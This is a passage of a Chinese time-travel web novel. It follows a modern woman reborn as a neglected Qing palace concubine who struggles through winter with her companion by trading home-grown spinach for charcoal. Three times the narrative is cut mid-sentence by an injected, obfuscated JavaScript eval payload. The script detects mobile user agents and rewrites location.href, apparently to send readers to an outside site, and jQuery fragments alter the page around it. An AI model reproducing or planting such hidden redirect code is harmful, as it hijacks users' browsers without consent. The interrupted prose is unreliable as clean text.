《老常在(清穿)》 1. 第 1 章 乾隆二年,正月二十。 离着正月十五元宵节才过了几日,阖宫的热闹气氛还未冷却下来,宫道上还挂着漂亮夺目的装饰物,映着红墙琉璃瓦,足可见天家气派。 东西六宫值着夜班的宫女脸上不见疲色,反倒是喜气洋洋的。原因无他,只因今年是新皇登基后的头一年新年,各种赏赐流水般的进了各宫娘娘的宫殿,连着她们这些伺候的宫女也沾了光,前几日元宵节又有赏赐,算下来,赏钱都快赶上半年的份例银子了! 不过,有人欢喜,自然就有人愁。 咸福宫已是西六宫最偏僻的所在,而出了咸福宫继续往西,再往北,顺着夹道,还有一处儿,更为偏僻。 这便是延春阁了,延春阁里住着的都是前头皇帝的宫妃。 在这儿,不管你是二八年华的少女,还是八十年纪的老妪,一例都得为已逝的皇帝守节,外头的热闹都与她们无关。 延春阁偏殿的耳房里,马薇蜷缩在炕上,紧紧裹着被子,但寒意还是透过发硬的老棉被钻了进来,她的手脚、背部都冰冰发凉。 和她同睡一炕的月答应显然也是被冻醒了,脑袋躲在被窝里,瓮声瓮气地说:“本来这黑炭烧着就呛人,咱俩这儿一个月总共才能领到二十斤,白日里还要烧水做饭,晚上只能用上半夜的,怎么熬得过去啊!” 马薇闻言也是叹了口气:“唉,只能白日里再俭省些了,晚上实在是熬不过去,太冷了!” “你过来,咱俩睡一个被窝里,二人一处,总归暖和些,横竖咱俩白天里也没事可做的,这后半夜便撑着不睡好了。” 二人虽睡在一炕上,但还是各盖各的被子,马薇这么一说,月答应也没什么别的好法子,便也应了:“那我来了,马佳姐姐,你给我留个缝儿,我钻进去。” 马薇依她所言,二人睡在一处,果然暖和了些许。 “只盼着这冬日早些过去才好。”月答应身量瘦小,此刻像只小猫咪,使劲往马薇这边凑,马薇也往她那边贴了贴,字面意义上的抱团取暖了。 马薇睁着眼,当然这屋里毫无光亮,眼前是黑洞洞一片,内心是早已麻木了。 她还记得穿越来的前一晚,加班到九点多,没办法,她刚毕业就赶上经济下行,一个二本文科毕业生,能找到份工作就不错了,虽然这工作包含运营、剪辑、策划、等多职……上六休一,一月五千,还是没扣社保前的。 她忙完一切,坐着空荡荡的地铁,拖着疲惫的身躯回到出租房的时候,已经快要十点半了,匆匆洗漱一番过后,就趴进自己的被窝呼呼大睡。 再一睁眼,她就成了清宫的常在,马佳氏。 马薇:??? 怎么一点征兆都没有的?她没有心理准备啊!她熬了两天,也没个什么系统的出现,只能在心里默默流泪,她就这样两手空空,赤条条穿越了。 她穿成的这个马佳常在,原本是个包衣宫女,入了晚年康熙的眼,半年内一路从宫女子升到常在,也算小小有宠,然后,康熙就嘎了。 马佳氏不到十六就守了寡,开始了深宫熬日子的生活。一开始还有两个宫女伺候着,但这宫里趋炎附势、拜高踩低是常态,她这样的,没有家室、位分又低,这辈子都没出头机会的,谁会在这边浪费自己的日子,内务府也一日敷衍过一日,各种份例都被克扣,就算是到手的,也都是些不好使的。 到了雍正驾崩,乾隆登基,她们这些“老家伙”就更不受待见了。 前几日,是马佳氏的三十生辰,她狠了狠心,拿着银两请小太监买了些物资,请了几个和她一样熬日子的老宫妃在延春阁偏殿小小办了一场生日宴,看着眼前用料十足,色香味俱全的长寿面,不由自主地吃得快了些,结果,吃得太急,噎在嗓子眼儿了,两眼一黑,便倒了下去。 她晕过去的时候,众人手忙脚乱地扶着她进去歇息,再醒来,里头已经换了个芯子,成了马薇。 马薇仍自回想着发生的一切,睡在她身旁的月答应开口了:“阖宫里,还有比咱们两个更命苦的吗?宫女尚有出宫日,咱俩却只能在这儿待到老死,成了白头常在,白头答应。” “能熬到白头也不算差了。”马薇想起原先的马佳氏吃碗面都能噎死,对于这个时代的医疗水平很是怀疑。 果然,月答应听了这话就沉默了。 月答应年岁比马佳氏还小些,与马佳氏同为康熙的妃嫔,但比马佳氏位分还低,康熙驾崩后,二人做了十来年的室友了,关系匪浅。 “我手里还有些银子,”马薇小心翼翼地翻了个身,努力不让一丝漏网的寒风进入被窝,“明日再找人买些炭吧,没炭这日子实在是没法过。” 清宫里的首饰、珠宝那都是有数的,轻易变卖不得,但原先的马佳氏自个儿还积攒了大约五六百两银子,这些是可以动用的,虽然最后悲惨的人死了,钱没花完。 马薇吸取教训,这样的时节正是用钱的时候,这会儿不花,什么时候花,冻成冰棍的时候花吗? 月答应不言语,过了会儿,竟是断断续续地发出了细小的呜咽声。 二人离得这样近,马薇都能感受到对方一抽一抽的身体,咦,这是哭了? “怎么了?咱俩唠唠嗑,怎么就哭了呢?”马薇摸着黑,试探着伸出手来,要为她抹泪。 “我是个累赘,我没用……”月答应抽泣道,“还要烦累姐姐花钱……” 马佳氏好歹还得了半年的宠,月答应这个小苦瓜秧子,做了答应还没一个月,手上都没什么积攒,就碰上龙驭宾天,马薇估摸着,她手里也就几十两压箱底的银子。 “好了好了,”马薇安慰她,“咱俩处了这么多年了,说这些见外话做什么,横竖是一条绳上的蚂蚱,分什么你呀我呀的,没意思。” “幸亏有姐姐呢!”月答应依偎着,“不然我一个人可不知道该怎么过才好。” 说话间,外头忽然刮起了呼啸的北风,一阵一阵的,吹得窗棂、窄门发出“织呀吱呀”的刺耳声响,间或还有些硬物砸到木质门窗上发出的沉闷动静,听得二人心里头七上八下的。 “怎的忽而起这么大的风?当真是不让人好过了。”马薇听着动静,心内忧愁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033163|162343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “何止是风呢,姐姐听到了那砸门的动静没?”月答应叹了一口气,“多半是雪粒子,咱们这耳房不知多久没修葺过了,也不知还能撑多久……” “雪粒子?”马薇有些疑惑。 “就是雪里夹杂着的冰粒啊,砸房子、毁庄稼可是一把好手!”月答应说到这雪粒子,语气里的忧愁是藏也藏不住。 原来是冰雹啊……马薇在心里暗忖,这么一说,她心里也忧愁起来,她俩在后面的一块小小空地上种了几陇菠菜,菠菜虽然耐寒,但也架不住冰雹砸啊! 那菠菜种子还是花了钱从外面买回来的呢! 她心里一急,嗓子眼儿也发痒,在被窝里闷闷地咳嗽起来。 “马佳姐姐,可是冷了?”月答应忙为她掖了掖被角。 “不妨事,不妨事,”马薇吸了吸鼻子,将月答应的手抽回被子里,“方才我还说明日无事呢,若是雪粒子的话,那必然要下雪的,明日还得扫雪清理,也罢,活泛活泛身子骨也是好的,就是咱们在后面种的那几陇菠菜要遭殃了。” 月答应听了,闷闷的,半晌,才道了句:“明儿我早起去看看。” 她俩种这菠菜并不是为了自己吃,而是为了孝敬住在延春阁主殿的庆太妃。 虽说居住在这延春阁的都是些苦瓜秧子,但苦瓜秧子也是分高低的。 庆太妃的日子就比她们过得强多了,庆太妃是妃位,虽说在康熙朝只是个贵人,但人家诞下皇子了,雍正皇帝上位后,狠狠修理了一波与自己不睦的兄弟,又不想让人家说自己刻薄寡恩,对于那些没有利益冲突的兄弟倒很仁慈。 康熙皇帝驾崩的时候,庆太妃诞下的二十四阿哥还不会走路呢,自然符合这个条件,连带着庆太妃也连升两级,从贵人成了太妃。 逢年过节有庆典的时候,也每每能得到赏赐,看得延春阁里一众苦瓜秧子眼热。 二人想过得好些,可不得去巴结她? 冬日里新鲜蔬菜难觅,满宫里能吃上暖房里种出来的鲜蔬瓜果的就那么几人,肯定是轮不上她们延春阁的,二人为了讨好庆太妃,也算挖空了心思,精心伺弄着后面的那几陇菠菜,要是它们遭了殃,那真是白费心思了。 “我听说,皇子们成年之后,便会从南三所搬出去建府,到时候便可以向圣上递折子,将自己的母亲接出去荣养,算算年纪,庆太妃的阿哥明年就差不多了。”月答应说这话的时候,语气里的羡慕是藏也藏不住。 马薇也羡慕。 真能出了宫,到自家的宅邸,那便是低配版的太后娘娘,在这宫里,终究是样样受制于人,不得痛快。 二人在被窝里絮絮叨叨说着话,不知不觉间,东方露出鱼肚白,屋子里没那么暗了,有些许微光从窗格门缝里钻进来,马薇睁着眼,眼前也不只是黑洞洞一片,可以视物了。 她微微侧过了头,看向一旁的月答应。 月答应小小一张瓜子脸,脸还没巴掌大,细眉细眼,鼻子嘴巴都小小的,此刻正说些有的没的的闲话。 马薇对着外头努了努嘴:“妹妹,你看,天快亮了。” 2. 第 2 章 二人没有停歇,借着这点儿光线,便扒拉着起了床。 马薇就着被窝里这点儿热气,先将下身的袄裤套上,然后再是上身,先穿夹袄,外面再罩上一件灰鼠皮的褂子。 这褂子有些年头了,康熙还在的时候就有了的,马佳氏这些年来一直很仔细地保养着,但日子久了,总不如新的暖和。 自从做了寡妇,颜色鲜艳的衣裳是不能穿的,她又自己动手,将外面的料子从杏黄撒花锦缎换成了深青色粗绸,人一穿上,立马暗淡了许多。 她还没有完全适应,动作略慢了些,月答应手脚麻利,待马薇下床,她已是从外头公用的缸中打了盆水进来。 “姐姐,咱们就着这冷水略微洗漱一番便罢。” 马薇点点头,心里头还记挂着那些菠菜:“你可有去后头看过,那些菠菜可还好?” “去看过了,”月答应冻得搓手搓耳朵,“看着长势还好,没被冻蔫,这菠菜到底耐寒,外头的雪也不算深,还没没过我的脚踝,一会儿就扫完了,待会儿我就去扫了,就不用麻烦姐姐了。” 马薇也没推辞,洗漱之时冰凉的水冷得她一激灵,她原本还有些倦意,这会子是一扫而空,精神得很。 洗漱之后,她从角落里将炉子搬到外头,炉子是铁质的,分量不轻,外层上已经布满了斑斑锈迹,马薇小心翼翼地伸长手,让自己的身体避开它,免得沾上了这铁锈,脏了衣裳。 黑炭被装在篓子里,分量就比炉子轻得多了,马薇用长剪子在里头拨弄了几下,计算着用量,然后夹出块较小的炭,放进炉子里。 她们这边是没有什么小厨房的,更别说厨子了,那只有主殿那边才有,平日里都得自己开火,不然就得饿肚子。 屋里西北角有个小小立柜,权当作厨柜使,马薇从里面找了个陶罐,抓了两把米放进去,就这样将就着洗了洗,再倒了半大罐水进去,放到炉子上煮粥。 黑炭燃烧着,从边角开始,带着暖意的红逐渐侵蚀着漆黑的炭,过后却留下浅浅的灰,马薇伸出手,围在炉子边烤着火,这双手白皙修长,但细看便会看出上面有些小小的伤痕,指腹等处还起了茧子,是双干活的手。 月答应使着大扫帚扫着雪,看见马薇在煮粥,笑意盈盈:“这会子又冷又饿的,喝粥好,胃里舒服了,身上也暖和了。” 马薇又寻摸出半张饼来,这饼还是十来天前,庆太妃赏给她们这些可怜人的,吃到昨日,只剩下半张了,她把这半张饼撕碎,丢进了煮着粥的陶罐里。 “柜里还有几个鸡蛋,我拿两个出来,咱们早上吃吧。”马薇回话,这全是碳水,也不是个事儿啊。 “全听姐姐的!”月答应没有意见。 忙忙碌碌的,至二人喝上粥,天色已大亮,太阳也终于挣破了云层,在这寒冷的冬日撒下一片暖洋洋的金色光芒,让人心情也敞亮了不少。 马薇和月答应对坐着,一人一碗粥,中间是碟小咸菜,二人便就着这咸菜喝着粥,一口粥下去,果然肠胃舒服了不少。 月答应将鸡蛋往桌上一磕,然后剥起壳来:“今日的当值太监是曹江海,为人还算过得去,找他帮忙买炭,价钱应当不会太夸张。” 马薇在记忆里搜寻着关于曹江海的一切,在马佳氏的印象中,这曹江海确实和月答应说得差不离,便也点点头:“待会儿寻个他的空档,和他说一下此事。” 托这些太监们办事,他们都是会从中揩点油水的,这个她们都知道,但是揩的多少,这中间差距还是挺大的,俩人过这种日子过了十来年,对于这里头的门道都很清楚,从中抽取两三成的都算厚道的,若是碰上黑心的,把价格报上两三倍都有可能! 早饭吃毕,马薇依着脑海中的记忆,从炕上左侧的一个隐蔽的角落找到一个挺精致的小盒子,小盒子上面用着螺钿点缀,在光线的照耀下闪烁着七彩的光泽,马薇缓缓摩挲着这漂亮的螺钿,轻轻叹了一口气,而后从脖子上挂着的一个香囊里掏出一把小钥匙来。 盒子里都是马佳氏这些年的积攒,共分三层,第一层是些簪钗镯子,然而都有内造标志,轻易变卖不得,她又不能打扮,只能白放着;第二层便是些散碎银两,马薇拈了两三块小的出来,手上掂掂重量,大约有七八两,够使了;第三层则是马佳氏小半生心血所在,成锭的银元宝整整齐齐地码着,占了三分之二的位置,剩下的三分之一则是各种样式的金锞子,都是她当年得的赏赐。 取了银子出来,马薇重又小心翼翼地把盒子盖上,落锁,放回原处。 “把那戥子寻出来称上一称,看看有多少?”马薇从炕上下来,对月答应说道。 月答应在马薇拿银子的时候便知趣地背着身子走出屋外,这会子听了马薇叫,才又进来,她依着马薇找出了戥子,将那银子称了一称,共是七两四钱五分三厘,和马薇猜测的差不多。 “我还有些自己做的手工绣帕,待会儿一并给了曹江海,让他去外头换些银子铜钱使。”月答应原本是针线上的宫女,一手绣工那是顶顶好的。 只是,二人等了一上午,都快到午间了,还不见曹江海,偏殿角门外当值的太监是个脸生的新面孔。 马薇和月答应只能隔着门缝招手,叫他过来。 那小太监也不是什么机灵人,年纪轻、有门路的也不会到这个这个就比冷宫好一点的地方来当差,见着门里有人朝自己招手,便老实过来。 “你叫什么名字,曹江海呢?今儿个该他来当值才是啊!”马薇透过门缝上上下下打量了这小太监一番,脸上稚气未脱,瞧着也就十三四岁的样子。 “回嬷嬷,奴才小邓子,曹爷爷被调走了,往后他的班都是我来值了。” 马薇:…… 月答应:??? 二人沉默了,嬷嬷? 马薇艰难开口:“我们不是嬷嬷,我是马佳常在,这位是月答应。” 小太监闻言,脸上先是迷茫,而后带上了几分惊恐,忙跪下来磕头:“奴才该死!奴才该死!冲撞了两位主子……” “这……不妨事不妨事”,月答应下意识就想去扶他,却又碍于角门,只能嘴上道,“快起来吧,别把头磕破了!” 她就没做过几天正经主子,人生有一半时间都待在这延春阁,乍见到这小太监如此行径,自个儿心内倒有些慌。 “你回去继续当值吧,我们就问一问。”曹江海不在,这事儿只得暂时搁下,这小太监看着着实不是个能担事的,事儿肯定不能交与他去做,只能再找旁人。 二人颇有些丧气地从角门处回来,马薇摊手:“这几天是没法子了,只能再熬熬,好歹还有一些,撑一撑还是能过的。” 她又把心思放在了种的菠菜上,走至耳房后头,弯着腰,十分仔细地观察着每株菠菜的长势,时不时还上手捏捏,感受着菠菜叶脆嫩的手感,紫红色的根处还浅浅堆叠了晶莹的雪,她用手拨弄开,看着雪珠一点点浸润到黑色的泥土之中,心中方定。 “妹妹,你说这菠菜能不能收了?”马薇问向月答应,“虽然还未长成,但看着也像模像样了,真要是说起来,嫩的吃起来还更可口些,它们长在这地里一日,咱们就要担心这天气一日,万一哪天不注意,它们‘全军覆没’了,那可怎生是好?” “马佳姐姐的意思是?” “就今儿个,挑些尖儿摘下来,送给庆太妃,”马薇抬头看看日头,“动作快的话,她中午就能吃上了,讨了她的好,总归便宜些,若是炭真不够用了,也只能问她匀一些了。” 月答应点点头:“姐姐说的是,原本还要再等它们长上半个月的,但如今看来,也等不得了。” 说干就干,二人找了个篮子出来,马薇拿着剪子,月答应使着小刀,对着菠菜根部利落一剪(割),只用了十多分钟,便收获了满满一篮子,但菜地里也少了三分之一。 “这一篮子菜炒出来,也就一盘,”马薇手握成空心拳,敲打着有些酸痛的腰部,“合着咱们折腾这么久,也就是三盘菜,当真是不易!” 月答应额头上都微微沁出了些汗:“我也不是什么金贵人,但这田里的活儿是真没怎么做过,旁的还好,就是这实在是伤腰,不过弯了十分钟,脊骨酸痛得很,比小时候学规矩的时候还累。” 延春阁主殿在前头,和偏殿之间由夹道连接,马薇和月答应重又梳整了一番,尤其是用刨花水狠狠地抹了头,直把头发抹得油光发亮,再梳了个小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033164|162343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两把头,确保自己看上去还算干净体面。 伺候庆太妃的宫女远远地就瞧见了二人,心内疑惑,怎么今儿个她们两个过来了? 但面上还是带了笑,在角门处候着,待到二人近前来,上前虚虚行了个礼:“您二位吉祥,有什么事吗?” 这宫女是庆太妃面前的二等宫女彩珠,平日管着殿里迎来送往的事,都没法子去庆太妃身边伺候的,但马薇和月答应还是笑意盈盈地扶她起来。 “彩珠姑娘,近来可好?”马薇握着她的手,“我俩平日里也不到前头来,都有些日子没见了。” 彩珠见马薇这般殷勤,心里头有些得意,也做出一副关心的姿态来:“劳烦常在挂心了,听闻前些日子常在身子有些不适?我这儿事务繁忙,都没有去看看常在,如今可是好了?” 这话说得没水平,一听便知是敷衍,但马、月二人也只能听着,笑着将一篮子菠菜献宝似的给彩珠:“如今天气寒冷,鲜菜难得,我们二人在屋子后头辟了一块地,种了些菠菜,如今到了收的时候了,特意掐了第一波的尖儿,得来孝敬庆太妃。” 说着,她俩还伸手挑出了些菠菜给彩珠瞧。 彩珠瞧了两眼,面上神色不变,她自然知道无功不受禄的道理。 “您二位有什么事就直说,我能帮的,自然是尽量帮帮的。”她将这一篮子菠菜接了过来,“娘娘这几日都在太后娘娘处,回来又要烧香礼佛,想是抽不出空来接待二位的。” 彩珠口中的太后娘娘,便是乾隆皇帝的生母,崇庆皇太后,满宫里最尊贵的女人,庆太妃常常到她宫里去。 这……马薇顿时想到了以前公司里那个狐假虎威的行政,但是人在屋檐下,不得不低头,只得厚着脸皮脸皮开口:“这天着实寒冷,我与月答应的屋里炭实在是不够用了,想着能不能请娘娘赐一些……” “嗨!就这事儿啊!”彩珠听了这话,露出了不以为意的神情:“二位放心,晚间我就把炭给您二位送过去!” 二人自然是千恩万谢,又与彩珠说了不少好话,这才兴冲冲地回了自己的住处。 在屋里头打盹的桂嬷嬷原本是半眯着眼,快要睡着了,听到外头的动静,搅了觉,这才惺忪着眼睛,打了哈欠,慢慢醒过来。 看见彩珠拎着一篮子进来,开口询问:“篮子里是什么?在外头跟谁说话?” “哦,是后头的马佳常在和月答应,也难为她们了,大冬天的竟然种了菠菜出来,送了一篮子过来,说是孝敬咱们娘娘的。”彩珠把篮子递给桂嬷嬷。 “她们俩?”桂嬷嬷有些惊奇,这俩人几乎等同于透明人,怎么这会儿好端端地送了什么菠菜过来?她凑过头去看了看,翠绿翠绿的,还挺鲜嫩。 “说是炭不够用了,来问咱们这儿要。”彩珠将来意说明。 “难怪,”桂嬷嬷恍然大悟,又瞅了瞅篮子里的菠菜,自己倒是有些馋绿叶菜的味道了,“留下些来咱们俩个吃,晚上再给娘娘炒上一盘,娘娘见了会高兴的。” “不必说这是她们俩送来的,问起来就说是咱们特意为娘娘寻来的,至于她们要的炭么,就用她们送来的这个篮子,装上二十斤黑炭送过去便是了。” 彩珠没有异议,应了。 桂嬷嬷心里也知这二人的份例被内务府克扣了不少,幸亏自家娘娘有个小阿哥,不然如今境况也不会比她们好多少,真是阿弥陀佛。 她方才困了想着要眯上一会儿,怕着凉,特意多加了几块炭下去,屋子里暖洋洋的,她都觉得背上有些出汗了。 宫女太监们用的份例都是主子的,庆太妃的份例都是按照妃位的来,冬天每日都有十斤红萝炭,桂嬷嬷这会子便用的是红萝炭。 红萝炭没有刺鼻的味道,烧着又暖和,可比呛人的黑炭强多了。 桂嬷嬷年纪不小了,当年康熙爷还在的时候,马佳常在得宠,屋里头的装饰,平日里吃的用的比当时还是庆贵人的主子还要好些,如今却落到这步田地,人哪,真是三十年河东三十年河西。 她嘴里哼着家乡的小调,感慨着世事无常,忽然一顿,记起了什么似的,而后忙对着要离开的彩珠道:“菠菜记得用猪油炒,素菜荤炒,这才好吃!” 3. 第 3 章 马薇还不知道自己被人在背后蛐蛐,已然成了桂嬷嬷获得幸福感的工具,她揽着月答应的胳膊,想着彩珠答应的如此痛快,想必这事是八九不离十了,心头一块大石落地。 二人回了自己的耳房内,也无事可干,屋里阴冷,便搬了两把小杌子到外头,坐着晒太阳,冬日的太阳暖洋洋的,金色的光泽如同黏腻的蜜糖一样挥洒在二人身上,驱散了阴冷,带来了暖意。 月答应带了一堆针线活出来做,她感受着这金黄的暖意,正要捻线的手一顿,想起了什么似的,从腰间拿出个蓝底绣着红色牡丹花的荷包,然后从里面倒出两粒黄黄的糖来。 “这是,老冰糖?”马薇从月答应手里拿过一粒来,对着阳光观摩了一会儿,比之后世那些精致的糖果来说,实在是粗糙了些,上头的黄色深浅不一,较浅的地方上透着光还能看见里头的杂物。 但此时此刻的境地也没有挑剔的条件,马薇将它放到唇边,轻轻舔舐吮吸着它,没有那种齁人的甜,只有一些淡淡的清甜。 “姐姐,味道怎么样?”月答应一双细眼笑得弯弯。 “甜滋滋的,你从哪里弄的?”马薇赞赏道。 “之前过年的时候,前头缺人,叫了我去帮忙,姐姐忘了?”月答应露出了一副小老鼠的神情,“我就在灶间做事,看见有做佐料的冰糖,就趁着人不注意的时候,往自己荷包里放了两块,嘿嘿!” 她笑起来的样子活像一只偷油成功的小老鼠。 “机智!”马薇对她竖起了大拇指。 二人一边嘴里含着冰糖,撑得腮帮微鼓,一边手上不停,做着针线活。 马薇这方面是没什么本事的,也就是帮忙穿个针,理个线,主要还是月答应动手。 她将针线穿好,月答应也已绷好绣布,接过马薇递来的针线,便全神贯注地飞针走线起来,绣布上缠枝荷花的样式已是初具雏形,浅粉色的细线随着针头上下翩飞,看得马薇目不转睛。 “妹妹,你练这个练多久了?”马薇觉得这水平起码比键盘盲打强上十倍。 “我家里世代绣娘,自我记事起,我便开始拿针了,也称得上是童子功。”月答应手中不停,嘴上应道。 马薇心内对她佩服愈深,牛哇,这要放到现代,妥妥的非遗继承人,可以上央视纪录片的那种! 但是现在只能跟自己在这边混日子,甚至比自己还要更惨一点…… “我绣上十条帕子才得一两银子,这还是曹江海给的价钱,如今他不在了,也不知再托谁帮我拿出去卖,纵然找的到人,估计也没有这个价格了。”月答应叹了口气。 当真艰难呐! 马薇没有多言,这舌头嚼来嚼去,嚼不出什么好话来,毕竟她们现在过得就是这种日子,刚才嚼的冰糖尚有回甘,但对于二人满腹的苦水来说,无异于杯水车薪。 她又坐着晒了会儿太阳,然后伸了个懒腰,早饭就吃了那点稀饭,骗肚子骗不了多久,这会儿她肚子又发出抗议声了。 马薇开始捣鼓中午的饭食。 食物方面没有炭那么紧缺,主要是年关刚过,宫中各类食物都处于过剩的状态,这天又冷,不易腐坏,她们二人也沾到了点儿。 既然彩珠都答应了会送炭过来,那么用炭方面便不必像早上那么俭省,马薇这次没再煮粥,而是煮了香喷喷的大米饭! 她寻出两块熏鱼肉出来,虽然不是鱼肚这样的好部位,但能有就挺不错的了。 然后把它们覆在晶莹剔透的大米饭上,借着米饭的热气将鱼肉蒸热,看着光亮的油从鱼肉中被“逼”出来,将周围的米饭浸润出油亮的光泽,阵阵香气从罐中向外弥散开来。 “好香啊!”月答应手上的动作终于顿了一下,鼻翼翕动着,闻着空气中油脂和米饭的香气。 不过,能闻到的并不只有她。 几只鸟儿不知从哪里飞来,停在屋檐上。 马薇听到了翅膀扇动的声音,抬头看见了陌生的鸟,心里生出几分警惕,这鸟不会突然袭击吧,她觉得自己有必要把月答应叫进屋子里,关上门吃饭。 突然又自嘲一哂,这鸟也是个笨的,宫里那么多好地方不去,偏偏到自己这儿来想好处,没把它抓了吃就不错了! 她伸手招着月答应进来,生怕鸟儿来啄她碗中的饭。 月答应应了一声,收拾了针线和杌子就要进来,然而,就在她跨进门槛的那一刻,异变突生! 鸟儿们拍动着翅膀直直地冲着地面飞来,但目标却不是马薇手中的饭,而是她们种在后面的菠菜! 马薇看见它们飞的方向,手中的碗险些打落,这群长毛畜生! 她忙将碗放在桌上,撩起裙子,和着月答应一同去赶鸟。 几只鸟儿头飞速啄动,幼嫩的菠菜叶水汪汪的,在这冬日里可实在太罕见了,见着二人来赶,才依依不舍地飞走。 马薇看着菠菜地,虽然没有受到什么太大的损害,但是这些鸟儿到处乱啄,菠菜的卖相却差了许多,一颗菠菜,就算被啄了半片叶子,送人也拿不出手了。 “这群畜生!就该拔了毛烤了吃!”月答应在后头痛骂。 —— 享受到菠菜的,不只是这几只鸟儿。 延春阁主殿左侧的一间耳房,被充作了小厨房,彩珠笑意盈盈,夹了一筷子菠菜,让桂嬷嬷:“嬷嬷,您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033165|162343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尝尝看,可还合口味?” 桂嬷嬷吃了头筷,细细品味着,脸上也有笑意:“既有菠菜的清甜,又有油脂的香气,荤素得宜,我先替娘娘尝了,晚上再做给娘娘吃,娘娘的口味我是知道的,必然欢喜。” “全靠您教的法子好,”彩珠吹捧着桂嬷嬷,“我哪里知道炒素菜还要用荤油?您老人家见多识广,教了我这个法子,我才做得出来!” “先用那白腻的猪油滑了锅,看着油热了再倒入菠菜,大火爆炒至断生,再加入盐,不用旁的佐料,再翻炒,炒熟出锅!” “哎呀呀,虽听着简单,真做起来,里面都是学问啊!” 桂嬷嬷被吹捧得舒服,又加了一筷子菠菜入口,然后才对彩珠道:“你也吃,这天气,多放一会儿就凉了。” 她的桌上,自然不止这一样菜,另放了一盘猪头肉,一盘卤牛肉,以及一碟子盐渍花生,她的筷子从菠菜上移开,夹了一块牛肉。 彩珠这才动筷。 桂嬷嬷吃得高兴,想起了后面那两个可怜人,为了这点菠菜,费了那么大心思,也是不容易,倒是催促彩珠:“吃完饭,你就把炭送过去吧,也不知她们那么还剩多少,或许急等着用呢!” 饭毕,彩珠依言而做, 二十斤炭的分量不算轻,她又怕这乌漆漆的炭脏了自己的衣服,篮子离自己远远的,手上不好受力,一路上呲牙咧嘴的。 好不容易到了后头,却没看见人。 但她也不管不顾了,桂嬷嬷只叫自己送到,可没叫自己送进屋。 她直接将篮子“砰”地一声放在地上:“马佳常在,月答应,你们在吗?我给你们送炭来了!” 马薇和月答应正在后头仔细检查着菠菜地的损伤情况,突然听见了彩珠的话,被鸟儿惹恼的心情霎时间是多云转晴! 马薇:“彩珠姑娘,我来了,你稍等等!” 她和月答应一溜小跑就到前头,鞋底还沾上了些许泥,跑的路上留下了浅浅的黑印。 彩珠指着炭:“桂嬷嬷心善,你们说要二十斤,这里头可不止二十斤了,起码给你们多装了五斤,你们自己可以称称!” 二人看着满满一篮子的炭,心中狂喜,又有点点后怕。 幸亏早上便掐了尖儿送过去了,躲过了这群糟心的鸟儿,不然,可如何是好? 二人对着彩珠是千恩万谢,给足了她情绪价值,月答应还送了彩珠一块自己绣的帕子:“都是外面买不着的,彩珠姑娘留着擦嘴也好。” 彩珠看着帕子上面绣的兰花十分精致,心内觉得这俩人十分识趣,顺着话便夸下海口:“往后有什么缺的用的,到前面来找我便是!” 4. 第 4 章 她这是客气话,马薇和月答应心里头也明白,她在庆太妃那儿也不过是个二等宫女,外间伺候的,哪里能做得了什么主? 但人家要面儿,那就得给足人家面儿。 彩珠心满意足地施施然回了前面,比起来时的蛰蛰蹩蹩,脚步那叫一个轻快。 人走了,马薇这才仔细翻弄着她送来的炭,不得不说,就算是黑炭,也是有三六九等的。 彩珠送来的这些炭质地细密,大小均匀,马薇也不顾脏了,上手去摸了摸,触感也比她们俩用的光滑许多,估摸着是要比她们自己的耐烧不少。 月答应感叹道:“分给咱们的都是些碎货边角料,有些还掺了石子儿的,哪里比得上这个?” “咱们以后也别窝在这后头了,时常去前面露个脸儿,能和庆太妃常说上两句话也好,她宫里的宫女日子也比咱们过得好不少,厚脸皮就厚脸皮吧,日子过得好最重要!”马薇顿了一会儿,然后似是下定决心般,说出这番话来。 月答应觑着马薇的神色,见她不似作假,也便回:“都听姐姐的。” 其实她知道马佳姐姐心里一直是有疙瘩的,当年一块儿伺候康熙爷的,马佳姐姐比当时还是庆贵人的庆太妃还有脸面,如今却落得这步田地,自然是不愿再见故人,更不用说在人家面前做小伏低。 前些日子,马佳姐姐吃面的时候突然噎晕过去,醒来之后,性情似乎变得随和了不少,这会儿又说出这样的话,其实她心里是欢喜的。 马薇又道:“后面还剩下的菠菜,咱们俩自己吃了吧,没个咱们俩辛辛苦苦伺候菠菜这么久,却一口都吃不到的道理,鸟儿啄烂了,并不影响味道。” 说干就干,她带着月答应将剩下的菠菜还算完好的全收了,实在是被啄得烂的,便用小铲子直接捣碎它们,然后翻土,将它们埋进土壤深处,权当绿肥。 傍晚时分,庆太妃乘着小轿从太后娘娘所在的慈宁宫回来,延春阁里空着的太监、宫女们铺洒的铺洒,打灯的打灯,都在殿外候着。 桂嬷嬷趋步上前,在轿子左侧扶着庆太妃下轿,庆太妃脚下的花盆底有半尺高,平日行动都须得人搀扶。 